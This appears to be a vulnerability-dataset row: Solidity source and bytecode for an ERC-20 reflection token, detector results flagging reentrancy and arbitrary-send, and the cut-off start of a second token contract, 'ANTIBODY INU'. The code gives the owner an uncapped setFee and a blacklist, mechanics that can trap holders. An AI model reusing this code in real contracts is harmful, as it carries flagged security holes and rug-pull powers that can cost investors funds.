address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 15000000 * 10**9;
uint256 public _maxWalletSize = 15000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
_marketingAddress = payable(_msgSender());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function initContract() external onlyOwner(){
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
}
function setTrading(bool _tradingOpen) public onlyOwner {
require(!tradingOpen);
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) external onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
function toggleSwap(bool _swapEnabled) external onlyOwner{
swapEnabled = _swapEnabled;
}
function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
} | 0x6080604052600436106101db5760003560e01c80637d1db4a511610102578063a2a957bb11610095578063c492f04611610064578063c492f04614610544578063dd62ed3e14610564578063ea1644d5146105aa578063f2fde38b146105ca57600080fd5b8063a2a957bb146104bf578063a9059cbb146104df578063bfd79284146104ff578063c3c8cd801461052f57600080fd5b80638f70ccf7116100d15780638f70ccf7146104695780638f9a55c01461048957806395d89b411461020957806398a5c3151461049f57600080fd5b80637d1db4a5146103f35780637f2feddc146104095780638203f5fe146104365780638da5cb5b1461044b57600080fd5b8063313ce5671161017a5780636fc3eaec116101495780636fc3eaec1461038957806370a082311461039e578063715018a6146103be57806374010ece146103d357600080fd5b8063313ce5671461030d57806349bd5a5e146103295780636b999053146103495780636d8aa8f81461036957600080fd5b80631694505e116101b65780631694505e1461027a57806318160ddd146102b257806323b872dd146102d75780632fd689e3146102f757600080fd5b8062b8cf2a146101e757806306fdde0314610209578063095ea7b31461024a57600080fd5b366101e257005b600080fd5b3480156101f357600080fd5b50610207610202366004611ad2565b6105ea565b005b34801561021557600080fd5b5060408051808201825260098152685361746f736869626160b81b602082015290516102419190611b97565b60405180910390f35b34801561025657600080fd5b5061026a610265366004611bec565b610689565b6040519015158152602001610241565b34801561028657600080fd5b5060135461029a906001600160a01b031681565b6040516001600160a01b039091168152602001610241565b3480156102be57600080fd5b50670de0b6b3a76400005b604051908152602001610241565b3480156102e357600080fd5b5061026a6102f2366004611c18565b6106a0565b34801561030357600080fd5b506102c960175481565b34801561031957600080fd5b5060405160098152602001610241565b34801561033557600080fd5b5060145461029a906001600160a01b031681565b34801561035557600080fd5b50610207610364366004611c59565b610709565b34801561037557600080fd5b50610207610384366004611c86565b610754565b34801561039557600080fd5b5061020761079c565b3480156103aa57600080fd5b506102c96103b9366004611c59565b6107c9565b3480156103ca57600080fd5b506102076107eb565b3480156103df57600080fd5b506102076103ee366004611ca1565b61085f565b3480156103ff57600080fd5b506102c960155481565b34801561041557600080fd5b506102c9610424366004611c59565b60116020526000908152604090205481565b34801561044257600080fd5b5061020761088e565b34801561045757600080fd5b506000546001600160a01b031661029a565b34801561047557600080fd5b50610207610484366004611c86565b610a46565b34801561049557600080fd5b506102c960165481565b3480156104ab57600080fd5b506102076104ba366004611ca1565b610aa5565b3480156104cb57600080fd5b506102076104da366004611cba565b610ad4565b3480156104eb57600080fd5b5061026a6104fa366004611bec565b610b12565b34801561050b57600080fd5b5061026a61051a366004611c59565b60106020526000908152604090205460ff1681565b34801561053b57600080fd5b50610207610b1f565b34801561055057600080fd5b5061020761055f366004611cec565b610b55565b34801561057057600080fd5b506102c961057f366004611d70565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105b657600080fd5b506102076105c5366004611ca1565b610bf6565b3480156105d657600080fd5b506102076105e5366004611c59565b610c25565b6000546001600160a01b0316331461061d5760405162461bcd60e51b815260040161061490611da9565b60405180910390fd5b60005b81518110156106855760016010600084848151811061064157610641611dde565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061067d81611e0a565b915050610620565b5050565b6000610696338484610d0f565b5060015b92915050565b60006106ad848484610e33565b6106ff84336106fa85604051806060016040528060288152602001611f24602891396001600160a01b038a166000908152600460209081526040808320338452909152902054919061136f565b610d0f565b5060019392505050565b6000546001600160a01b031633146107335760405162461bcd60e51b815260040161061490611da9565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461077e5760405162461bcd60e51b815260040161061490611da9565b60148054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b0316146107bc57600080fd5b476107c6816113a9565b50565b6001600160a01b03811660009081526002602052604081205461069a906113e3565b6000546001600160a01b031633146108155760405162461bcd60e51b815260040161061490611da9565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108895760405162461bcd60e51b815260040161061490611da9565b601555565b6000546001600160a01b031633146108b85760405162461bcd60e51b815260040161061490611da9565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a01559160048083019260209291908290030181865afa15801561091d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109419190611e25565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561098e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109b29190611e25565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156109ff573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a239190611e25565b601480546001600160a01b0319166001600160a01b039290921691909117905550565b6000546001600160a01b03163314610a705760405162461bcd60e51b815260040161061490611da9565b601454600160a01b900460ff1615610a8757600080fd5b60148054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b03163314610acf5760405162461bcd60e51b815260040161061490611da9565b601755565b6000546001600160a01b03163314610afe5760405162461bcd60e51b815260040161061490611da9565b600893909355600a91909155600955600b55565b6000610696338484610e33565b6012546001600160a01b0316336001600160a01b031614610b3f57600080fd5b6000610b4a306107c9565b90506107c681611467565b6000546001600160a01b03163314610b7f5760405162461bcd60e51b815260040161061490611da9565b60005b82811015610bf0578160056000868685818110610ba157610ba1611dde565b9050602002016020810190610bb69190611c59565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610be881611e0a565b915050610b82565b50505050565b6000546001600160a01b03163314610c205760405162461bcd60e51b815260040161061490611da9565b601655565b6000546001600160a01b03163314610c4f5760405162461bcd60e51b815260040161061490611da9565b6001600160a01b038116610cb45760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610614565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610d715760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610614565b6001600160a01b038216610dd25760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610614565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610e975760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610614565b6001600160a01b038216610ef95760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610614565b60008111610f5b5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610614565b6000546001600160a01b03848116911614801590610f8757506000546001600160a01b03838116911614155b1561126857601454600160a01b900460ff16611020576000546001600160a01b038481169116146110205760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610614565b6015548111156110725760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610614565b6001600160a01b03831660009081526010602052604090205460ff161580156110b457506001600160a01b03821660009081526010602052604090205460ff16155b61110c5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610614565b6014546001600160a01b03838116911614611191576016548161112e846107c9565b6111389190611e42565b106111915760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610614565b600061119c306107c9565b6017546015549192508210159082106111b55760155491505b8080156111cc5750601454600160a81b900460ff16155b80156111e657506014546001600160a01b03868116911614155b80156111fb5750601454600160b01b900460ff165b801561122057506001600160a01b03851660009081526005602052604090205460ff16155b801561124557506001600160a01b03841660009081526005602052604090205460ff16155b156112655761125382611467565b47801561126357611263476113a9565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806112aa57506001600160a01b03831660009081526005602052604090205460ff165b806112dc57506014546001600160a01b038581169116148015906112dc57506014546001600160a01b03848116911614155b156112e957506000611363565b6014546001600160a01b03858116911614801561131457506013546001600160a01b03848116911614155b1561132657600854600c55600954600d555b6014546001600160a01b03848116911614801561135157506013546001600160a01b03858116911614155b1561136357600a54600c55600b54600d555b610bf0848484846115e1565b600081848411156113935760405162461bcd60e51b81526004016106149190611b97565b5060006113a08486611e5a565b95945050505050565b6012546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610685573d6000803e3d6000fd5b600060065482111561144a5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610614565b600061145461160f565b90506114608382611632565b9392505050565b6014805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106114af576114af611dde565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611508573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061152c9190611e25565b8160018151811061153f5761153f611dde565b6001600160a01b0392831660209182029290920101526013546115659130911684610d0f565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac9479061159e908590600090869030904290600401611e71565b600060405180830381600087803b1580156115b857600080fd5b505af11580156115cc573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b806115ee576115ee611674565b6115f98484846116a2565b80610bf057610bf0600e54600c55600f54600d55565b600080600061161c611799565b909250905061162b8282611632565b9250505090565b600061146083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506117d9565b600c541580156116845750600d54155b1561168b57565b600c8054600e55600d8054600f5560009182905555565b6000806000806000806116b487611807565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506116e69087611864565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461171590866118a6565b6001600160a01b03891660009081526002602052604090205561173781611905565b611741848361194f565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161178691815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a76400006117b48282611632565b8210156117d057505060065492670de0b6b3a764000092509050565b90939092509050565b600081836117fa5760405162461bcd60e51b81526004016106149190611b97565b5060006113a08486611ee2565b60008060008060008060008060006118248a600c54600d54611973565b925092509250600061183461160f565b905060008060006118478e8787876119c8565b919e509c509a509598509396509194505050505091939550919395565b600061146083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061136f565b6000806118b38385611e42565b9050838110156114605760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610614565b600061190f61160f565b9050600061191d8383611a18565b3060009081526002602052604090205490915061193a90826118a6565b30600090815260026020526040902055505050565b60065461195c9083611864565b60065560075461196c90826118a6565b6007555050565b600080808061198d60646119878989611a18565b90611632565b905060006119a060646119878a89611a18565b905060006119b8826119b28b86611864565b90611864565b9992985090965090945050505050565b60008080806119d78886611a18565b905060006119e58887611a18565b905060006119f38888611a18565b90506000611a05826119b28686611864565b939b939a50919850919650505050505050565b600082611a275750600061069a565b6000611a338385611f04565b905082611a408583611ee2565b146114605760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610614565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107c657600080fd5b8035611acd81611aad565b919050565b60006020808385031215611ae557600080fd5b823567ffffffffffffffff80821115611afd57600080fd5b818501915085601f830112611b1157600080fd5b813581811115611b2357611b23611a97565b8060051b604051601f19603f83011681018181108582111715611b4857611b48611a97565b604052918252848201925083810185019188831115611b6657600080fd5b938501935b82851015611b8b57611b7c85611ac2565b84529385019392850192611b6b565b98975050505050505050565b600060208083528351808285015260005b81811015611bc457858101830151858201604001528201611ba8565b81811115611bd6576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611bff57600080fd5b8235611c0a81611aad565b946020939093013593505050565b600080600060608486031215611c2d57600080fd5b8335611c3881611aad565b92506020840135611c4881611aad565b929592945050506040919091013590565b600060208284031215611c6b57600080fd5b813561146081611aad565b80358015158114611acd57600080fd5b600060208284031215611c9857600080fd5b61146082611c76565b600060208284031215611cb357600080fd5b5035919050565b60008060008060808587031215611cd057600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611d0157600080fd5b833567ffffffffffffffff80821115611d1957600080fd5b818601915086601f830112611d2d57600080fd5b813581811115611d3c57600080fd5b8760208260051b8501011115611d5157600080fd5b602092830195509350611d679186019050611c76565b90509250925092565b60008060408385031215611d8357600080fd5b8235611d8e81611aad565b91506020830135611d9e81611aad565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611e1e57611e1e611df4565b5060010190565b600060208284031215611e3757600080fd5b815161146081611aad565b60008219821115611e5557611e55611df4565b500190565b600082821015611e6c57611e6c611df4565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611ec15784516001600160a01b031683529383019391830191600101611e9c565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611eff57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611f1e57611f1e611df4565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212200bd4c0340edddb79ad70a2c4053a9abdccf96303b1380aa68949c6739fc21a6c64736f6c634300080c0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 10,113 |
0x390cbc2b04e2ac48c8bdc9ce9da8d405f3a77ca9 | /**
*Submitted for verification at Etherscan.io on 2022-04-26
*/
// SPDX-License-Identifier: Unlicensed
//tg: t.me/antibodyInuToken
// 0 tax
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract ANTIBODY is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "ANTIBODY INU";
string private constant _symbol = "ANTIBODY";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e9 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 0;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 0;
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping (address => uint256) public _buyMap;
address payable private _marketingAddress ;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 50000000 * 10**9;
uint256 public _maxWalletSize = 50000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
_marketingAddress = payable(_msgSender());
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
